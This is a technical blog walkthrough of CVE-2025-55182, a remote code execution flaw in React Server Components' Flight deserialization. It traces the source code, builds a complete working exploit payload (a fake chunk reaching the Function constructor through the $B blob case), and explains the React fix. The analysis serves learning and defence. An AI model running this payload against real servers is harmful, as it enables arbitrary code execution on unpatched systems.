React2Shell: CVE-2025-55182 Walkthrough
December 10, 2025

This post is adapted from my write-up on GitHub at github.com/kavienanj/CVE-2025-55182. The vulnerability itself was discovered by lachlan2k, who responsibly disclosed it to the React team, and for ongoing updates you can visit react2shell.com.
Table of Contents
- Introduction
- Background
- Understanding ReactFlightReplyServer.js
- Crafting the First Payload
- The Fake Chunk
- All Under Control
- The Exploit
- The Fix
Introduction
🚨 CVE-2025-55182 is rated 10.0/10.0 in severity. If you’ve looked at the public PoCs, you may have noticed that while they show the exploit working, the explanations for why the payload looks the way it does can feel insufficient—which makes perfect sense given how complicated the React Flight Protocol is. Flight, the serialization layer behind React Server Components and Server Actions, is an intricate 1,100+ line state machine, and its behavior isn’t intuitive unless you trace the code yourself.
The community PoCs demonstrate the vulnerability clearly:
- https://github.com/msanft/CVE-2025-55182
- https://github.com/lachlan2k/React2Shell-CVE-2025-55182-original-poc
- https://x.com/rauchg/status/1997362942929440937
…but when you try to answer “Why does this work?”, you quickly find yourself spelunking deep into React internals that were never meant to be read line by line.
📝 Note: Many PoCs incorrectly attribute the fix to changes in
requireModule. As we’ll see in The Fix, the exploit payload never reaches that function—the actual vulnerable code resides entirely inReactFlightReplyServer.js.
This write-up is my attempt to reverse-engineer the exploit chain by tracing React’s decoding and chunk-initialization logic step by step. Every behavior discussed here comes directly from how ReactFlightReplyServer.js worked before the fix (reference: https://github.com/facebook/react/blob/v19.2.0/packages/react-server/src/ReactFlightReplyServer.js), distilled and simplified so that a React/JS developer can follow along with enough patience.
Background
Before looking at the vulnerability, we need three tiny concepts to tackle.
1. How Flight Chunks Decode (Very Simple View)
React sends data to the server in numbered chunks. Some chunks reference others using strings that start with $.
Example:
const files = {
"0": '["$1"]',
"1": '{"object":"fruit","name":"$2:fruitName"}',
"2": '{"fruitName":"cherry"}',
};
When React decodes this:
$1→ chunk 1$2:fruitName→ chunk 2’sfruitNameproperty
Reconstructed result:
[{ object: "fruit", name: "cherry" }]
That’s all we need. $ means “go look up another chunk and insert its value here.”
2. Any Object With .then() Can Be await-ed
JavaScript treats anything with a .then() method like a Promise.
Try this:
const obj = {
then(resolve, reject) {
resolve("called automatically");
}
};
await obj; // prints "called automatically"
No Promise needed — the presence of .then() is enough.
3. Reaching the Function Constructor Is Trivially Easy
JavaScript’s Function constructor can execute arbitrary code:
Function("alert('hi')")();
And almost any object can reach it by chaining constructor:
({}).constructor.constructor("alert('hi')")();
So if a program allows the user to access an object’s internal properties and that path reaches the Function constructor, it becomes a serious vulnerability. And if there exists a method that then invokes the constructor with user-controlled input, it becomes a critical vulnerability (severity 10).
That is exactly what CVE-2025-55182 was.
Understanding ReactFlightReplyServer.js
Before crafting a malicious payload, we have to understand the React source code a bit (maybe the boring part, but I did that for you so you don’t have to!).
Here are some important pieces from react-server/src/ReactFlightReplyServer.js (pre-fix version) that we need to know.
⚠️ Disclaimer
This is my best effort to simplify ~1,100 lines of React’s Flight code—many function arguments, branches, and special cases are intentionally dropped or rewritten for clarity. Only the parts needed to understand the vulnerability are kept.
1. Response
This is the main “context” object passed around:
type Response = {
_formData: FormData, // raw incoming chunks as strings
_chunks: Map<number, SomeChunk<any>> // parsed "chunk objects"
};
2. Chunk States and the Chunk “Class”
React wraps each piece of data in a custom Chunk object that behaves like a Promise (thenable):
function Chunk(status, value, reason, response) {
this.status = status;
this.value = value;
this.reason = reason;
this._response = response; // The response context
}
Chunk.prototype = Object.create(Promise.prototype);
// Custom .then implementation
Chunk.prototype.then = function (resolve, reject) {
const chunk = this;
// If it's just holding a JSON string, initialize it first
if (chunk.status === "resolved_model") {
initializeModelChunk(chunk);
}
// Resolve immediately if status is initialized
switch (chunk.status) {
case INITIALIZED:
resolve(chunk.value);
break;
// other states...
}
};
status describes where it is in the lifecycle:
RESOLVED_MODEL = "resolved_model"→ has JSON string, not parsed yetINITIALIZED = "fulfilled"→ fully decoded JS value
For simplicity, we will just focus on these 2 states even though there are other states.
3. getChunk and getRoot
getChunk(response, id)returns the Chunk at indexid(creating it if needed).getRoot(response)is basically the same asgetChunk(response, 0)(root chunk is id 0).
4. initializeModelChunk(chunk)
This is the critical function. It turns a RESOLVED_MODEL chunk (string) into a real JS value.
function initializeModelChunk(chunk) {
try {
// 1. Parse the JSON string
const rawModel = JSON.parse(chunk.value /* original string */);
// 2. Recursively walk the tree and replace $-strings with real values
const value = reviveModel(chunk, rawModel);
// 3. If everything is fine, mark as "fulfilled" with final JS value
chunk.status = "fulfilled";
chunk.value = value;
} catch (error) {
// (error handling omitted for simplicity)
}
}
5. reviveModel
Here we try to parse string values found in the raw JSON and unpack the special $-encoded values recursively.
High-level view (simplified):
function reviveModel(chunk, value) {
if (typeof value === "string") {
// If it's a string, it might be a special $-encoded value
if (value[0] !== "$") return value; // normal string
// Else, handle references
switch (value[1]) {
case "@": {
// IMPORTANT SECTION 1
// "$@id" → promise-like Chunk
const id = parseInt(value.slice(2), 16);
const refChunk = getChunk(chunk._response, id);
return refChunk;
}
case "B": {
// IMPORTANT SECTION 2
const id = parseInt(value.slice(2), 16);
const prefix = chunk._response._prefix;
const blobKey = prefix + id;
const backingEntry = chunk._response._formData.get(blobKey);
return backingEntry;
}
// A lot of other cases for more functionalities...
default: {
// Anything else → treat as a reference id/path, e.g. "1", "2:fruitName", "1:then"
const ref = value.slice(1);
return getOutlinedModel(chunk, ref);
}
}
}
if (Array.isArray(value)) {
// Recursively revive each element
for (let i = 0; i < value.length; i++) {
value[i] = reviveModel(chunk, value[i]);
}
} else if (value && typeof value === "object") {
// Recursively revive each property on the object
for (const key in value) {
value[key] = reviveModel(chunk, value[key]);
}
}
// For numbers, booleans, null, etc., just return as-is
return value;
}
6. getOutlinedModel
This function takes a reference string like "1", "2:fruitName", or "1:then" and actually resolves it.
Simplified view:
function getOutlinedModel(currentChunk, reference) {
const path = reference.split(":"); // "2:fruitName" -> ["2", "fruitName"]
const id = parseInt(path[0], 16); // first part is chunk id (hex)
const targetChunk = getChunk(currentChunk._response, id); // get that chunk
if (targetChunk.status === "resolved_model") {
initializeModelChunk(targetChunk); // parse it if it's still just JSON
}
if (targetChunk.status === "fulfilled") {
// IMPORTANT SECTION 3
// Walk through the remaining path keys
let value = targetChunk.value;
for (let i = 1; i < path.length; i++) {
value = value[path[i]]; // e.g. value = value["then"]
}
return value; // usually just returns value
}
}
Summary: Execution Order
Here’s how chunks flow through React’s decoding pipeline:
-
Entry Point:
getRoot(response)is called, which internally callsgetChunk(response, 0)to retrieve the root chunk (id 0). -
Chunk Retrieval: The returned
Chunkobject initially hasstatus: "resolved_model", meaning it holds raw JSON that hasn’t been parsed yet. -
Awaiting the Chunk: When the chunk is
await-ed, JavaScript callsChunk.prototype.then()because the chunk is a thenable. -
Initialization: Inside
.then(), if the chunk’s status is"resolved_model", it callsinitializeModelChunk(chunk)to parse it. -
JSON Parsing:
initializeModelChunk()first runsJSON.parse()on the raw string to get a JavaScript object. -
Reviving References: It then calls
reviveModel()to recursively walk through the parsed object and replace all$-prefixed strings with their actual values:"$@id"→ Returns the Chunk object directly (for async/promise references)"$Bid"→ Returns a blob/file from FormData"$id"or"$id:path"→ CallsgetOutlinedModel()to resolve the reference
-
Path Resolution: In
getOutlinedModel(), if the reference includes a path (e.g.,"2:fruitName"), it walks through each key:value = value[path[i]]. -
Finalization: Once
reviveModel()completes, the chunk’s status is set to"fulfilled"and its value becomes the fully decoded JavaScript object.
Crafting the First Payload
Now we can try crafting our payload. We only rely on two very simple weaknesses we saw earlier. The first is that React lets the client control which property it looks up during deserialization. When the payload contains something like "$1:property1:property2", React splits on : and eventually executes: (IMPORTANT SECTION 3)
value = value[path[i]]; // value = value['property1']['property2']
Since path[i] comes entirely from the user-controlled $ string, the attacker chooses exactly which property React reads.
Let’s plug our payload #1 and walk the execution.
const files = {
"0": '{"then":"$1:constructor:constructor"}',
"1": '[]',
};
The deserialization usually starts like this:
const chunk = getChunk(response, 0);
await chunk; // or chunk.then(...)
Assume React has already filled:
response._formData.set("0", files["0"]);
response._formData.set("1", files["1"]);
Execution Flow for Payload #1
1. Getting the Root Chunk
const chunk0 = getChunk(response, 0);
Inside getChunk:
_chunksdoesn’t have0yet_formData.get("0")returns'{"then":"$1:constructor:constructor"}'
So React creates:
chunk0 = new Chunk("resolved_model", '{"then":"$1:constructor:constructor"}', 0, response);
and stores it in response._chunks.
Now we do:
await chunk0;
This triggers Chunk.then.
2. Chunk.then Calls initializeModelChunk(chunk0)
Inside .then:
if (chunk0.status === "resolved_model") {
initializeModelChunk(chunk0);
}
So we enter:
initializeModelChunk(chunk0);
3. initializeModelChunk(chunk0) Parses and Revives
Inside initializeModelChunk:
const rawModel = JSON.parse(chunk0.value);
// rawModel = { then: "$1:constructor:constructor" }
const value = reviveModel(chunk0, rawModel);
So now we’re in:
reviveModel(chunk0, { then: "$1:constructor:constructor" });
reviveModel sees an object, so it walks its properties:
- key
"then"→ value"$1:constructor:constructor"
For that string, we hit the $ logic:
if (typeof value === "string") {
if (value[0] !== "$") return value;
// value = "$1:constructor:constructor"
const ref = value.slice(1); // "1:constructor:constructor"
return getOutlinedModel(chunk0, ref);
}
4. getOutlinedModel(chunk0, "1:constructor:constructor")
We’re now resolving the reference "1:constructor:constructor":
const path = ["1", "constructor", "constructor"];
const id = parseInt(path[0], 16); // 1
const targetChunk = getChunk(chunk0._response, 1);
4.1 getChunk for id 1
getChunk(response, 1):
_chunksdoesn’t have1yet_formData.get("1")returns'[]'
So React creates:
targetChunk = new Chunk("resolved_model", "[]", 1, response);
Back in getOutlinedModel:
if (targetChunk.status === "resolved_model") {
initializeModelChunk(targetChunk);
}
If a chunk doesn’t have any special chars in the value, the initializeModelChunk will JSON parse the chunk.value and mark status as "fulfilled".
const rawModel = JSON.parse(targetChunk.value); // rawModel = []
const value = reviveModel(targetChunk, rawModel); // still value = [], no effect
targetChunk.status = "fulfilled";
targetChunk.value = [];
Now targetChunk (chunk 1) is fully initialized as [].
5. Back to getOutlinedModel – Walking the Path
We return to:
if (targetChunk.status === "fulfilled") {
let value = targetChunk.value; // value = []
for (let i = 1; i < path.length; i++) {
value = value[path[i]];
}
}
The loop:
// path = ["1", "constructor", "constructor"]
let value = []; // chunk1.value
value = value["constructor"]; // step 1
value = value["constructor"]; // step 2
In most JS engines, this walks to:
value === Function; // the global Function constructor
So getOutlinedModel returns:
return Function;
This becomes the revived value for the "then" property.
6. Finishing reviveModel for chunk0
Back in reviveModel(chunk0, { then: ... }), the object becomes:
{ then: Function }
So initializeModelChunk(chunk0) sets:
chunk0.status = "fulfilled";
chunk0.value = { then: Function };
Then it returns control to .then, which now calls:
resolve(chunk0.value); // resolve({ then: Function });
So:
const result = await chunk0;
// result = await { then: Function }
This throws a syntax error because await sees a .then property and tries to call it like a Promise, which becomes:
Function(resolve, reject);
and that is invalid JavaScript source.
💡 You can open your browser console and run
await { then: Function }to see it yourself.
The Fake Chunk
To avoid this error, we need to plant an actual thenable in place of the then key.
But $1 references usually decode into plain JSON values — objects, arrays, strings — nothing that has a usable .then function in their internal properties.
We need something that is already thenable. in place of $1, so that it will contain a "then" function.
We know that Chunks are thenable by definition, but $1 only gives us chunk 1’s value, not the Chunk instance itself. What we actually need is the Chunk object, not its decoded value.
Is it possible to get the Chunk instance itself?
YES — there is a special escape hatch in the Flight protocol: the @ prefix.
From IMPORTANT SECTION 1:
"$@x"→ returns the Chunk instance at index x
So an intuitive next attempt might be:
const files = {
"0": '{"then":"$@1:then"}',
"1": '[]',
};
But this doesn’t work the way we want.
"$@1:then" is not interpreted as “get Chunk 1 and then walk its properties.”
The @ case returns directly the Chunk instance, and the :then part is ignored entirely in this form.
So the revived object becomes:
{ then: chunk1 }
And:
const result = await chunk0;
// result = { then: chunk1 }
Because chunk1 is not a function, await does not call it, so it behaves like a normal property. (You can verify this result by walking through the execution like we did in the last section.)
The real trick is to move the @ operator into chunk 1 so that chunk 1 returns a Chunk instance (a thenable), and then chunk 0 references chunk 1 normally using $1.
Now we can use $1 safely, because $1 gives us whatever chunk 1 evaluates to — and that is a Chunk object, not a JSON value.
The payload #2 becomes:
const files = {
"0": '{"then":"$1:then"}',
"1": '"$@0"',
};
Execution Flow for the Payload #2
1. Root Chunk Created
const chunk0 = getChunk(response, 0);
_formData.get("0")→'{"then":"$1:then"}'
So React creates:
chunk0 = new Chunk("resolved_model",
'{"then":"$1:then"}',
0,
response
);
await chunk0 calls Chunk.then, which sees resolved_model and calls:
initializeModelChunk(chunk0);
2. Initialize Chunk 0
const rawModel = JSON.parse(chunk0.value);
// { then: "$1:then" }
const value = reviveModel(chunk0, rawModel);
reviveModel sees the "then" property with value "$1:then":
// string starting with "$"
const ref = "1:then";
return getOutlinedModel(chunk0, ref);
3. getOutlinedModel(chunk0, "1:then")
const path = ["1", "then"];
const id = parseInt("1", 16); // 1
const targetChunk = getChunk(response, 1);
4. Create and Initialize Chunk 1
getChunk(response, 1):
_formData.get("1")→"\"$@0\""(the JSON string"$@0")
So:
targetChunk = new Chunk("resolved_model", '"$@0"', 1, response);
Back in getOutlinedModel, since targetChunk.status === "resolved_model":
initializeModelChunk(targetChunk);
Inside initializeModelChunk(targetChunk):
const rawModel = JSON.parse(targetChunk.value);
// rawModel = "$@0"
const value = reviveModel(targetChunk, "$@0");
reviveModel sees "$@0":
// value[0] === '$', value[1] === '@'
const id = parseInt("0", 16); // 0
const refChunk = getChunk(response, 0); // this is chunk0
return refChunk;
So chunk 1 becomes:
targetChunk.status = "fulfilled";
targetChunk.value = chunk0; // IMPORTANT: value is the chunk0 instance
5. Back to getOutlinedModel Path Walk
Now targetChunk.status === "fulfilled":
let value = targetChunk.value; // value = chunk0
value = value["then"]; // → Chunk.then
So:
return value; // Chunk.then
This comes back to reviveModel as the resolved "then" property.
6. Finish Initializing Chunk 0
reviveModel(chunk0, rawModel) returns:
{ then: Chunk.then }
So:
chunk0.status = "fulfilled";
chunk0.value = { then: Chunk.then };
Chunk.then for chunk0 then does:
resolve(chunk0.value); // resolve({ then: Chunk.then });
7. The Thenable Trick
Now await chunk0 sees a resolved value with a callable .then:
await { then: Chunk.then };
The above line is equivalent to:
Chunk.then.call(
{ then: Chunk.then }, // `this` property
resolve,
reject
);
Inside your simplified Chunk.then:
Chunk.then = function (resolve, reject) {
const chunk = this; // <-- now this is our fake object, { then: Chunk.then }
if (chunk.status === "resolved_model") {
initializeModelChunk(chunk);
}
// …
};
This is what PoCs refer to as the Fake Chunk. Since the actual chunk finished processing but the chunk still continues to execute due to the way we crafted the payload.
At this point, since chunk.status is undefined, so the switch doesn’t match any case and calls reject(chunk.reason), given an error.
🎯 Checkpoint: Attacker-Controlled this
Right now we’ve reached a very important checkpoint:
this(i.e.chunk) is now completely attacker-controlled.
It’s just { then: Chunk.then } for now, but in a real payload you can give it any fields you want:
chunk.statuschunk.valuechunk._response- Etc.
All Under Control
To go inside the function initializeModelChunk let’s set a property status to "resolved_model", and a reason property to a number like 0 (this is a normal Chunk field, but doesn’t really affect our logic here).
Conceptually, our payload for chunk 0 looks like this:
// Formatted for clarity
const files = {
"0": json.dumps(`{
"then": "$1:then",
"status": "resolved_model",
"reason": 0
}`),
"1": '"$@0"',
};
Adding these extra attributes doesn’t change the flow we already saw. So, inside Chunk.prototype.then, we now effectively have:
Chunk.prototype.then = function (resolve, reject) {
const chunk = { then: Chunk.prototype.then, status: "resolved_model", reason: 0 };
if (chunk.status === "resolved_model") {
initializeModelChunk(chunk); // called with our fake chunk
}
// …
};
We’ve achieved our goal: initializeModelChunk is now running against a fake “chunk” object that we control.
What Do We Need Next?
Look at our simplified initializeModelChunk:
function initializeModelChunk(chunk) {
try {
const rawModel = JSON.parse(chunk.value); // uses chunk.value
const value = reviveModel(chunk, rawModel); // uses chunk + chunk._response
chunk.status = "fulfilled";
chunk.value = value;
} catch (error) {
// ...
}
}
So as of now:
chunk.valueisundefined→JSON.parse(undefined)will throw immediately.chunk._responseis also missing, soreviveModelwouldn’t work even if parse succeeded.
So the next attributes we need to add are:
value– a JSON string we fully control (this is whatJSON.parsewill parse and whatreviveModelwill walk)._response– a fake Response object with at least:_formData(to supply attacker-controlled backing data),_chunks(a Map we can control).
Finding the Code Execution Vector
Remember we discussed the Function constructor at the beginning. Now let’s look inside reviveModel and see if any argument we control gets passed into a function in a useful way.
Eureka. Look at Important Section 2 (the $B case):
case "B": {
const id = parseInt(value.slice(2), 16);
const prefix = chunk._response._prefix;
const blobKey = prefix + id;
const backingEntry = chunk._response._formData.get(blobKey);
return backingEntry;
}
Now that we control chunk._response, and id will resolve to some integer, this becomes very interesting. If we set _prefix to a JavaScript payload and _formData.get to the Function constructor, then:
chunk._response = {
_prefix: "console.log('Hacked!');//",
_formData: { get: Function }
};
When the $B case runs:
const blobKey = prefix + id; // e.g. "console.log('Hacked!');//0"
const backingEntry = chunk._response._formData.get(blobKey);
// backingEntry = Function("console.log('Hacked!');//0");
return backingEntry;
So the $B… reference returns a constructed function from reviveModel.
Accessing the Function Constructor
We also know that the constructor of normal functions is Function, and React lets us walk property paths. For example, using a reference like "$1:then:constructor" lets us access:
value = chunk1.value.then.constructor; // → Function
Putting It All Together
Putting this together, our fake chunk payload can look like this:
const files = {
"0": json.dumps(`{
"then": "$1:then",
"status": "resolved_model",
"reason": 0,
"_response": {
"_prefix": "console.log('Hacked!');//",
"_formData": {
"get": "$1:then:constructor"
}
},
"value": ???
}`),
"1": '"$@0"'
};
We still need to figure out what to put in value — the JSON string that will be parsed and walked by reviveModel. This will trigger the $B case and complete our exploit chain.
The Exploit
The last missing piece is to decide what value should be. From everything we’ve seen so far, it must:
- Contain
$B...so that we enter the Blob (B) case insidereviveModel. - Stay as-is inside the fake chunk until
JSON.parseruns (i.e. not be transformed earlier as a$reference). - Eventually become a thenable whose
thenis the constructed function from$B..., so thatawaitwill call it.
This candidate satisfies all three:
"value": "{\"then\":\"$B0\"}"
Here’s What Happens
Step 1: Initial Parsing
At first, value is just a normal string (it doesn’t start with $), so reviveModel returns it unchanged.
Step 2: JSON.parse on the Fake Chunk
When our fake chunk goes through initializeModelChunk, React calls:
const rawModel = JSON.parse(chunk.value);
// rawModel = { then: "$B0" }
Step 3: reviveModel Processes the $B Reference
Now reviveModel runs on { then: "$B0" }:
- It sees
"$B0", enters the B case, computesblobKey = prefix + 0, and calls_formData.get(blobKey).
With our fake _response, that becomes:
backingEntry = Function("console.log('Hacked!');//0");
So the revived object becomes:
{ then: Function("console.log('Hacked!');//0") }
Step 4: Fake Chunk Finalization
When initializeModelChunk finishes, the fake chunk is:
chunk.status = "fulfilled";
chunk.value = { then: Function("console.log('Hacked!');//0") };
Step 5: Awaiting the Thenable
Then, when this fake chunk is resolved and awaited, we eventually end up with:
await { then: Function("console.log('Hacked!');//0"), /* other props */ };
JavaScript sees a thenable (an object with a callable then) and automatically calls:
Function("console.log('Hacked!');//0")(resolve, reject);
💀 Game Over
At this point, game over: the code you passed (console.log('Hacked!');) is executed inside the generated function with no syntax error, and the attacker has arbitrary code execution.
Final Payload
Here’s the complete exploit payload:
const files = {
"0": json.dumps(`{
"then": "$1:then",
"status": "resolved_model",
"reason": 0,
"_response": {
"_prefix": "console.log('Hacked!');//",
"_formData": {
"get": "$1:then:constructor"
}
},
"value": '{"then":"$B0"}'
}`),
"1": '"$@0"'
};
This vulnerability (CVE-2025-55182) demonstrates how a complex serialization protocol like React Flight can be exploited when:
- User-controlled property paths allow traversal to dangerous objects like
Function.constructor - Thenable objects can be crafted to trick JavaScript’s
awaitinto calling attacker-controlled functions - Circular references (
$@0) enable self-referential payloads that bypass normal deserialization flows
The fix involves proper validation of property paths and preventing access to prototype chain properties during deserialization.
The Fix
Now that we understand how the exploit works, let’s look at how React fixed it. Interestingly, most public PoCs focus on a fix in requireModule, but that’s not where this payload actually gets blocked. The real fixes are in ReactFlightReplyServer.js itself.
The Two Core Problems
Looking back at the exploit chain, there were two fundamental issues:
Problem 1: Unrestricted Property Access
In getOutlinedModel, React blindly walked through user-controlled property paths:
// VULNERABLE CODE
for (let i = 1; i < path.length; i++) {
value = value[path[i]]; // No validation!
}
This allowed attackers to traverse the prototype chain using paths like "$1:constructor:constructor" to reach the Function constructor.
Problem 2: _response Was Part of the Chunk Object
The Chunk object included a _response property that held the entire response context:
// VULNERABLE STRUCTURE
function Chunk(status, value, reason, response) {
this.status = status;
this.value = value;
this.reason = reason;
this._response = response; // Attacker could fake this!
}
Since our fake chunk payload could include a crafted _response, we controlled:
_response._prefix→ became part of the code string_response._formData.get→ became theFunctionconstructor
This gave us full control over what code got executed.
The Actual Fixes
Fix 1: Property Existence Check in getOutlinedModel
The fix adds a hasOwnProperty check before accessing any property:
// FIXED CODE
if (typeof value === 'object' && hasOwnProperty.call(value, name)) {
value = value[name];
}
This is critical because:
hasOwnProperty.call(value, "constructor")returnsfalsefor arrays and most objects- The
constructorproperty exists on the prototype, not the object itself - Attackers can no longer traverse up the prototype chain
Before: [].constructor.constructor → Function ✓ (exploit works)
After: hasOwnProperty.call([], "constructor") → false ✗ (blocked)
Fix 2: Removing _response from the Chunk Object
React restructured how chunks work:
- The
Chunkclass was renamed toReactPromise - The
_responseproperty was removed entirely - The response context is now passed separately, not stored on the chunk
Without _response on the chunk object, even if an attacker crafts a fake chunk, they can’t inject:
- A fake
_prefixfor code injection - A fake
_formData.getpointing toFunction
The $B code path that previously allowed us to construct arbitrary functions now has no way to receive attacker-controlled context.
What About the requireModule Fix?
You may have seen this fix mentioned in PoCs:
// In requireModule
export function requireModule<T>(metadata: ClientReference<T>): T {
const moduleExports = parcelRequire(metadata[ID]);
- return moduleExports[metadata[NAME]];
+ if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
+ return moduleExports[metadata[NAME]];
+ }
+ return (undefined: any);
}
While this is a valid security improvement, our exploit payload never reaches requireModule. The requireModule function is used for loading client-side module references, which is a different code path entirely.
The CVE-2025-55182 exploit chain is fully contained within:
getOutlinedModel— where property traversal happensreviveModel— where the$Bcase constructs the function- The
Chunkobject structure — which exposed_response
For the complete implementation details, see the fix commit in the React repository.
👋 Closing Thoughts
This is a long walkthrough, and that’s by design. If you’re a beginner, don’t worry about absorbing it all on the first pass. Read through it top to bottom, and if something doesn’t click, go through it again. Once it clicks, you’ll walk away with a real feel for how deserialization vulnerabilities take shape: how a protocol’s own conveniences (references, thenables, property paths) can be turned against it, and why “it parses cleanly” is never the same as “it’s safe to trust.”
If you found this useful, consider leaving a ⭐ star on the GitHub repository.